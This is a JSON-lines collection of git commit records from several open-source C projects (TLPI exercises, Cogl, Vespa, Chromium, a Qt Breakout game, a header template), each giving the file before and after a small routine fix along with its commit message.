{"commit":"715c5e6ae0e5c693c168c8f65eb375c85b682887","old_file":"append_seek_write.c","new_file":"append_seek_write.c","old_contents":"\/* Exercise 5-2 *\/\n\n#include <unistd.h>\n#include <fcntl.h>\n#include \"tlpi_hdr.h\"\n\nint main (int argc, char *argv[]) {\n  if (argc != 2) {\n    usageErr(\"%s filename\", argv[0]);\n  }\n\n  int fd = open(argv[1], O_WRONLY | O_APPEND | O_CREAT | O_TRUNC, S_IWUSR | S_IRUSR);\n  if (fd == -1) { errExit(\"open\"); }\n  char s[] = \"abcdefghi\";\n  char t[] = \"jklmnopqr\";\n  if (write(fd, s, strlen(s)) != strlen(s)) { errExit(\"write 1\"); }\n  if (lseek(fd, 0, SEEK_SET) == -1) { errExit(\"seeking\"); }\n  if (write(fd, t, strlen(t)) != strlen(t)) { errExit(\"write 2\"); }\n  exit(EXIT_SUCCESS);\n}\n","new_contents":"\/* Exercise 5-2 *\/\n\n#include <unistd.h>\n#include <fcntl.h>\n#include \"tlpi_hdr.h\"\n\nint main (int argc, char *argv[]) {\n  if (argc != 2) {\n    usageErr(\"%s filename\", argv[0]);\n  }\n\n  int fd = open(argv[1], O_WRONLY | O_APPEND | O_CREAT | O_TRUNC, S_IWUSR | S_IRUSR);\n  if (fd == -1) { errExit(\"open\"); }\n  char s[] = \"abcdefghi\";\n  char t[] = \"jklmnopqr\";\n  if (write(fd, s, strlen(s)) != strlen(s)) { errExit(\"write 1\"); }\n  if (lseek(fd, 0, SEEK_SET) == -1) { errExit(\"seeking\"); }\n  if (write(fd, t, strlen(t)) != strlen(t)) { errExit(\"write 2\"); }\n  if (close(fd) == -1) { errExit(\"close output\"); }\n  exit(EXIT_SUCCESS);\n}\n","subject":"Add missing close for file descriptor","message":"Add missing close for file descriptor\n","lang":"C","license":"mit","repos":"timjb\/tlpi-exercises,timjb\/tlpi-exercises,dalleng\/tlpi-exercises,dalleng\/tlpi-exercises"}
{"commit":"b14ece116ed3e4b18d59b645e77b3449fac51137","old_file":"tests\/unit\/test-unit-main.c","new_file":"tests\/unit\/test-unit-main.c","old_contents":"#include <config.h>\n\n#include <dlfcn.h>\n\n#include <test-fixtures\/test-unit.h>\n\nint\nmain (int argc, char **argv)\n{\n  const CoglUnitTest *unit_test;\n  int i;\n\n  if (argc != 2)\n    {\n      g_printerr (\"usage %s UNIT_TEST\\n\", argv[0]);\n      exit (1);\n    }\n\n  \/* Just for convenience in case people try passing the wrapper\n   * filenames for the UNIT_TEST argument we normalize '-' characters\n   * to '_' characters... *\/\n  for (i = 0; argv[1][i]; i++)\n    {\n      if (argv[1][i] == '-')\n        argv[1][i] = '_';\n    }\n\n  unit_test = dlsym (RTLD_DEFAULT, argv[1]);\n  if (!unit_test)\n    {\n      g_printerr (\"Unknown test name \\\"%s\\\"\\n\", argv[1]);\n      return 1;\n    }\n\n  test_utils_init (unit_test->requirement_flags,\n                   unit_test->known_failure_flags);\n  unit_test->run ();\n  test_utils_fini ();\n\n  return 0;\n}\n","new_contents":"#include <config.h>\n\n#include <gmodule.h>\n\n#include <test-fixtures\/test-unit.h>\n\nint\nmain (int argc, char **argv)\n{\n  GModule *main_module;\n  const CoglUnitTest *unit_test;\n  int i;\n\n  if (argc != 2)\n    {\n      g_printerr (\"usage %s UNIT_TEST\\n\", argv[0]);\n      exit (1);\n    }\n\n  \/* Just for convenience in case people try passing the wrapper\n   * filenames for the UNIT_TEST argument we normalize '-' characters\n   * to '_' characters... *\/\n  for (i = 0; argv[1][i]; i++)\n    {\n      if (argv[1][i] == '-')\n        argv[1][i] = '_';\n    }\n\n  main_module = g_module_open (NULL, \/* use main module *\/\n                               0 \/* flags *\/);\n\n  if (!g_module_symbol (main_module, argv[1], (void **) &unit_test))\n    {\n      g_printerr (\"Unknown test name \\\"%s\\\"\\n\", argv[1]);\n      return 1;\n    }\n\n  test_utils_init (unit_test->requirement_flags,\n                   unit_test->known_failure_flags);\n  unit_test->run ();\n  test_utils_fini ();\n\n  return 0;\n}\n","subject":"Use GModule instead of libdl to load unit test symbols","message":"Use GModule instead of libdl to load unit test symbols\n\nPreviously the unit tests were using libdl without directly linking to\nit. It looks like this ends up working because one of Cogl's\ndependencies ends up pulling adding -ldl via libtool. However in some\nconfigurations it looks like this wasn't happening.\n\nTo avoid this problem we can just use GModule to resolve the symbols.\ng_module_open is documented to return a handle to the ‘main program’\nwhen NULL is passed as the filename and looking at the code it seems\nthat this ends up using RTLD_DEFAULT so it will have the same effect.\n\nThe in-tree copy of glib already has the code for gmodule so this\nshouldn't cause problems for --disable-glib.\n\nReviewed-by: Robert Bragg <12e9293ec6b30c7fa8a0926af42807e929c1684f@linux.intel.com>\n","lang":"C","license":"lgpl-2.1","repos":"gcampax\/cogl,gcampax\/cogl,djdeath\/cogl,gcampax\/cogl,djdeath\/cogl,djdeath\/cogl,gcampax\/cogl"}
{"commit":"2354e794031cec8bcb654e676338bc0ddcbb71d6","old_file":"storageapi\/src\/vespa\/storageapi\/mbusprot\/protobuf_includes.h","new_file":"storageapi\/src\/vespa\/storageapi\/mbusprot\/protobuf_includes.h","old_contents":"\/\/ Copyright 2019 Oath Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n\/\/ Disable warnings emitted by protoc generated files\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wsuggest-override\"\n\n#include \"feed.pb.h\"\n#include \"visiting.pb.h\"\n#include \"maintenance.pb.h\"\n\n#pragma GCC diagnostic pop\n","new_contents":"\/\/ Copyright 2019 Oath Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n\/\/ Disable warnings emitted by protoc generated files\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wsuggest-override\"\n\n#include \"feed.pb.h\"\n#include \"visiting.pb.h\"\n#include \"maintenance.pb.h\"\n\n#pragma GCC diagnostic pop\n","subject":"Add missing header pragma directive","message":"Add missing header pragma directive\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"ca35f85329122c44b55c97ffb99caac7fcff818d","old_file":"chrome\/app\/scoped_ole_initializer.h","new_file":"chrome\/app\/scoped_ole_initializer.h","old_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n#define CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n\n\/\/ Wraps OLE initialization in a cross-platform class meant to be used on the\n\/\/ stack so init\/uninit is done with scoping. This class is ok for use by\n\/\/ non-windows platforms; it just doesn't do anything.\n\n#if defined(OS_WIN)\n\n#include <ole2.h>\n\nclass ScopedOleInitializer {\n public:\n  ScopedOleInitializer() {\n    int ole_result = OleInitialize(NULL);\n    DCHECK(ole_result == S_OK);\n  }\n  ~ScopedOleInitializer() {\n    OleUninitialize();\n  }\n};\n\n#else\n\nclass ScopedOleInitializer {\n public:\n  \/\/ Empty, this class does nothing on non-win32 systems. Empty ctor is\n  \/\/ necessary to avoid \"unused variable\" warning on gcc.\n  ScopedOleInitializer() { }\n};\n\n#endif\n\n#endif  \/\/ CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n","new_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n#define CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n\n#include \"base\/logging.h\"\n#include \"build\/build_config.h\"\n\n\/\/ Wraps OLE initialization in a cross-platform class meant to be used on the\n\/\/ stack so init\/uninit is done with scoping. This class is ok for use by\n\/\/ non-windows platforms; it just doesn't do anything.\n\n#if defined(OS_WIN)\n\n#include <ole2.h>\n\nclass ScopedOleInitializer {\n public:\n  ScopedOleInitializer() {\n    int ole_result = OleInitialize(NULL);\n    DCHECK(ole_result == S_OK);\n  }\n  ~ScopedOleInitializer() {\n    OleUninitialize();\n  }\n};\n\n#else\n\nclass ScopedOleInitializer {\n public:\n  \/\/ Empty, this class does nothing on non-win32 systems. Empty ctor is\n  \/\/ necessary to avoid \"unused variable\" warning on gcc.\n  ScopedOleInitializer() { }\n};\n\n#endif\n\n#endif  \/\/ CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n","subject":"Make ScopedOleInitializer work on windows if you aren't including build_config already.","message":"Make ScopedOleInitializer work on windows if you aren't including\nbuild_config already.\n\nBUG=none\nTEST=none\n\nReview URL: http:\/\/codereview.chromium.org\/19640\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@8835 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"ChromiumWebApps\/chromium,rogerwang\/chromium,M4sse\/chromium.src,rogerwang\/chromium,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,chuan9\/chromium-crosswalk,ltilve\/chromium,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,littlstar\/chromium.src,robclark\/chromium,Just-D\/chromium-1,PeterWangIntel\/chromium-crosswalk,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,chuan9\/chromium-crosswalk,nacl-webkit\/chrome_deps,dednal\/chromium.src,ltilve\/chromium,Jonekee\/chromium.src,dednal\/chromium.src,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,rogerwang\/chromium,fujunwei\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,robclark\/chromium,Chilledheart\/chromium,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,keishi\/chromium,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,anirudhSK\/chromium,hujiajie\/pa-chromium,robclark\/chromium,ltilve\/chromium,anirudhSK\/chromium,Fireblend\/chromium-crosswalk,ChromiumWebApps\/chromium,robclark\/chromium,M4sse\/chromium.src,PeterWangIntel\/chromium-crosswalk,patrickm\/chromium.src,markYoungH\/chromium.src,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,ltilve\/chromium,dednal\/chromium.src,Jonekee\/chromium.src,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,ondra-novak\/chromium.src,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,ltilve\/chromium,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,zcbenz\/cefode-chromium,rogerwang\/chromium,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,zcbenz\/cefode-chromium,junmin-zhu\/chromium-rivertrail,mohamed--abdel-maksoud\/chromium.src,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,littlstar\/chromium.src,patrickm\/chromium.src,junmin-zhu\/chromium-rivertrail,chuan9\/chromium-crosswalk,dednal\/chromium.src,ChromiumWebApps\/chromium,keishi\/chromium,Just-D\/chromium-1,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,Just-D\/chromium-1,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,dushu1203\/chromium.src,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,ondra-novak\/chromium.src,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,M4sse\/chromium.src,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,Just-D\/chromium-1,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,anirudhSK\/chromium,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,rogerwang\/chromium,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,zcbenz\/cefode-chromium,anirudhSK\/chromium,timopulkkinen\/BubbleFish,keishi\/chromium,pozdnyakov\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,Just-D\/chromium-1,dushu1203\/chromium.src,littlstar\/chromium.src,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,Chilledheart\/chromium,rogerwang\/chromium,PeterWangIntel\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,jaruba\/chromium.src,axinging\/chromium-crosswalk,robclark\/chromium,pozdnyakov\/chromium-crosswalk,patrickm\/chromium.src,Jonekee\/chromium.src,robclark\/chromium,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,dushu1203\/chromium.src,jaruba\/chromium.src,keishi\/chromium,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,jaruba\/chromium.src,robclark\/chromium,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,ChromiumWebApps\/chromium,krieger-od\/nwjs_chromium.src,keishi\/chromium,zcbenz\/cefode-chromium,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,nacl-webkit\/chrome_deps,Just-D\/chromium-1,robclark\/chromium,markYoungH\/chromium.src,rogerwang\/chromium,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,ltilve\/chromium,patrickm\/chromium.src,Just-D\/chromium-1,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,robclark\/chromium,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,Just-D\/chromium-1,crosswalk-project\/chromium-crosswalk-efl,Chilledheart\/chromium,Chilledheart\/chromium,rogerwang\/chromium,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,markYoungH\/chromium.src,keishi\/chromium,ChromiumWebApps\/chromium,patrickm\/chromium.src,rogerwang\/chromium,hujiajie\/pa-chromium,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,patrickm\/chromium.src,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,patrickm\/chromium.src,dushu1203\/chromium.src,keishi\/chromium,PeterWangIntel\/chromium-crosswalk,nacl-webkit\/chrome_deps,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,dushu1203\/chromium.src,junmin-zhu\/chromium-rivertrail,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,dednal\/chromium.src,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,M4sse\/chromium.src,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,anirudhSK\/chromium,Just-D\/chromium-1,dednal\/chromium.src,anirudhSK\/chromium,zcbenz\/cefode-chromium,littlstar\/chromium.src,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,ltilve\/chromium,timopulkkinen\/BubbleFish,littlstar\/chromium.src,chuan9\/chromium-crosswalk,keishi\/chromium,pozdnyakov\/chromium-crosswalk,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,robclark\/chromium,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,markYoungH\/chromium.src,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,markYoungH\/chromium.src,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,littlstar\/chromium.src,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,Jonekee\/chromium.src,jaruba\/chromium.src,zcbenz\/cefode-chromium,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk,anirudhSK\/chromium,Chilledheart\/chromium,keishi\/chromium,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,littlstar\/chromium.src,rogerwang\/chromium,timopulkkinen\/BubbleFish,Jonekee\/chromium.src,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,littlstar\/chromium.src,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,keishi\/chromium,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,jaruba\/chromium.src,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,keishi\/chromium,hgl888\/chromium-crosswalk"}
{"commit":"57fcc6c037a9cde10f80e3bc1b36175a3aa0ac5d","old_file":"libgpmat\/src\/gp-proc.h","new_file":"libgpmat\/src\/gp-proc.h","old_contents":"","new_contents":"\/* gp-proc.c -- Information extracted from \/proc\n--  Copyright (C) 2014 Stephane Carrez\n--  Written by Stephane Carrez (Stephane.Carrez@gmail.com)\n--\n--  Licensed under the Apache License, Version 2.0 (the \"License\");\n--  you may not use this file except in compliance with the License.\n--  You may obtain a copy of the License at\n--\n--      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n--\n--  Unless required by applicable law or agreed to in writing, software\n--  distributed under the License is distributed on an \"AS IS\" BASIS,\n--  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n--  See the License for the specific language governing permissions and\n--  limitations under the License.\n*\/\n#ifndef _GP_PROC_H\n#define _GP_PROC_H\n\n#define MAP_R_OK 0x01\n#define MAP_W_OK 0x02\n#define MAP_X_OK 0x04\n#define MAP_PRIV 0x08\n\ntypedef struct map_info\n{\n  void* start;\n  void* end;\n  int   flags;\n  char* name;\n} map_info_t;\n\ntypedef void (* gp_extract_map_callback) (map_info_t* map, void* data);\n\n\/**\n * @brief Read the process \/proc\/<pid>\/maps file.\n *\n * @param pid the process id.\n * @param callback the callback execute for each map entry.\n * @param data the callback data.\n *\/\nextern void\ngp_read_proc_maps (int pid, gp_extract_map_callback callback, void *data);\n\n#endif\n","subject":"Support to read and extract information from \/proc\/<pid>\/maps","message":"Support to read and extract information from \/proc\/<pid>\/maps\n\n","lang":"C","license":"apache-2.0","repos":"stcarrez\/mat,stcarrez\/mat,stcarrez\/mat"}
{"commit":"b311550d076fae4341d8ea73cd6227f1c37c3732","old_file":"Headers\/breakout.h","new_file":"Headers\/breakout.h","old_contents":"\/*\n    The Breakout class holds all of the game logic. It is derived from the QWidget class to allow it to display in a Qt window.\n    It handles all input events, game updates, and painting events. It also handles the current game state.\n*\/\n#ifndef BREAKOUT_H\n#define BREAKOUT_H\n\n#include \"ball.h\"\n#include \"brick.h\"\n#include \"paddle.h\"\n#include <QWidget>\n#include <QKeyEvent>\n\nclass Breakout : public QWidget\n{\n    Q_OBJECT\n\npublic:\n    \/\/Constructor and Destructor\n    Breakout(QWidget *parent = 0);\n    ~Breakout();\nprotected:\n    \/\/Events\n    void paintEvent(QPaintEvent* event);\n    void timerEvent(QTimerEvent* event);\n    void keyPressEvent(QKeyEvent* event);\n\n    \/\/Functions dependent on the current game state\n    void startGame();\n    void pauseGame();\n    void stopGame();\n    void victory();\n    \n    \/\/Function to check for collision of GameObjects\n    void checkCollision();\nprivate:\n    \/\/Variable to keep track of QTimerId \n    int timerId;\n    \n    \/\/The GameObjects\n    Ball* ball;\n    Paddle* paddle;\n    Brick* bricks[30];\n    \n    \/\/The game states\n    bool gameOver, gameWon, gameStarted, paused;\n};\n\n#endif \/\/ BREAKOUT_H\n","new_contents":"\/*\n    The Breakout class holds all of the game logic. It is derived from the QWidget class to allow it to display in a Qt window.\n    It handles all input events, game updates, and painting events. It also handles the current game state.\n*\/\n#ifndef BREAKOUT_H\n#define BREAKOUT_H\n\n#include \"ball.h\"\n#include \"brick.h\"\n#include \"paddle.h\"\n#include <QWidget>\n#include <QKeyEvent>\n\nclass Breakout : public QWidget\n{\n    Q_OBJECT\n\npublic:\n    \/\/Constructor and Destructor\n    Breakout(QWidget *parent = 0);\n    ~Breakout();\nprotected:\n    \/\/Events\n    void paintEvent(QPaintEvent* event);\n    void timerEvent(QTimerEvent* event);\n    void keyPressEvent(QKeyEvent* event);\n\n    \/\/Functions dependent on the current game state\n    void startGame();\n    void pauseGame();\n    void stopGame();\n    void victory();\n    \n    \/\/Function to check for collision of GameObjects\n    void checkCollision();\nprivate:\n    \/\/Variable to keep track of QTimerId \n    int timerId;\n    \n    \/\/The GameObjects\n    Ball* ball;\n    Paddle* paddle;\n    std::vector<Brick*> bricks;\n    \n    \/\/The game states\n    bool gameOver, gameWon, gameStarted, paused;\n};\n\n#endif \/\/ BREAKOUT_H\n","subject":"Convert bricks to a std::vector","message":"Convert bricks to a std::vector","lang":"C","license":"mit","repos":"maytim\/Basic-Qt-Collision-Example"}
{"commit":"272ae9518abe3815f1651a730f14b8c1316f96f3","old_file":"C\/header.h","new_file":"C\/header.h","old_contents":"\/*!\n * @brief Template C-header file\n *\n * This is a template C-header file\n * @author  <+AUTHOR+>\n * @date    <+DATE+>\n * @file    <+FILE+>\n * @version 0.1\n *\/\n#ifndef <+FILE_CAPITAL+>_H\n#define <+FILE_CAPITAL+>_H\n\n#if defined(_MSC_VER)\n#  define <+FILE_CAPITAL+>_DLLEXPORT  __declspec(dllexport)\n#elif defined(__GNUC__)\n#  define <+FILE_CAPITAL+>_DLLEXPORT  __attribute__((dllexport))\n#else\n#  define DLLEXPORT\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif  \/* __cplusplus *\/\n\n\n<+CURSOR+>\n\n\n\n\n#ifdef __cplusplus\n}  \/* extern \"C\" *\/\n#endif  \/* __cplusplus *\/\n#endif  \/* <+FILE_CAPITAL+>_H *\/\n","new_contents":"\/*!\n * @brief Template C-header file\n *\n * This is a template C-header file\n * @author  <+AUTHOR+>\n * @date    <+DATE+>\n * @file    <+FILE+>\n * @version 0.1\n *\/\n#ifndef <+FILE_CAPITAL+>_H\n#define <+FILE_CAPITAL+>_H\n\n#if defined(_MSC_VER)\n#  define <+FILE_CAPITAL+>_DLLEXPORT  __declspec(dllexport)\n#elif defined(__GNUC__)\n#  define <+FILE_CAPITAL+>_DLLEXPORT  __attribute__((dllexport))\n#else\n#  define <+FILE_CAPITAL+>_DLLEXPORT\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif  \/* __cplusplus *\/\n\n\n<+CURSOR+>\n\n\n\n\n#ifdef __cplusplus\n}  \/* extern \"C\" *\/\n#endif  \/* __cplusplus *\/\n#undef <+FILE_CAPITAL+>_DLLEXPORT\n#endif  \/* <+FILE_CAPITAL+>_H *\/\n","subject":"Add macro for DLL exportation","message":"Add macro for DLL exportation\n","lang":"C","license":"mit","repos":"koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate"}
{"commit":"713c8327fadf0ea96a82a9f0216042e8b88609c0","old_file":"eval\/src\/vespa\/eval\/instruction\/simple_join_count.h","new_file":"eval\/src\/vespa\/eval\/instruction\/simple_join_count.h","old_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/eval\/eval\/tensor_function.h>\n\nnamespace vespalib::eval {\n\n\/**\n * Tensor function that will count the number of cells in the result\n * of a join between two tensors with full mapped overlap consisting\n * of a single dimension.\n **\/\nclass SimpleJoinCount : public tensor_function::Op2\n{\nprivate:\n    uint64_t _dense_factor;\npublic:\n    SimpleJoinCount(const TensorFunction &lhs_in, const TensorFunction &rhs_in, size_t dense_factor_in);\n    InterpretedFunction::Instruction compile_self(const ValueBuilderFactory &factory, Stash &stash) const override;\n    bool result_is_mutable() const override { return true; }\n    uint64_t dense_factor() const { return _dense_factor; }\n    static const TensorFunction &optimize(const TensorFunction &expr, Stash &stash);\n};\n\n} \/\/ namespace\n","new_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/eval\/eval\/tensor_function.h>\n\nnamespace vespalib::eval {\n\n\/**\n * Tensor function that will count the number of cells in the result\n * of a join between two tensors with full mapped overlap consisting\n * of a single dimension.\n **\/\nclass SimpleJoinCount : public tensor_function::Op2\n{\nprivate:\n    uint64_t _dense_factor;\npublic:\n    SimpleJoinCount(const TensorFunction &lhs_in, const TensorFunction &rhs_in, uint64_t dense_factor_in);\n    InterpretedFunction::Instruction compile_self(const ValueBuilderFactory &factory, Stash &stash) const override;\n    bool result_is_mutable() const override { return true; }\n    uint64_t dense_factor() const { return _dense_factor; }\n    static const TensorFunction &optimize(const TensorFunction &expr, Stash &stash);\n};\n\n} \/\/ namespace\n","subject":"Adjust SimpleJoinCount constructor argument type.","message":"Adjust SimpleJoinCount constructor argument type.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
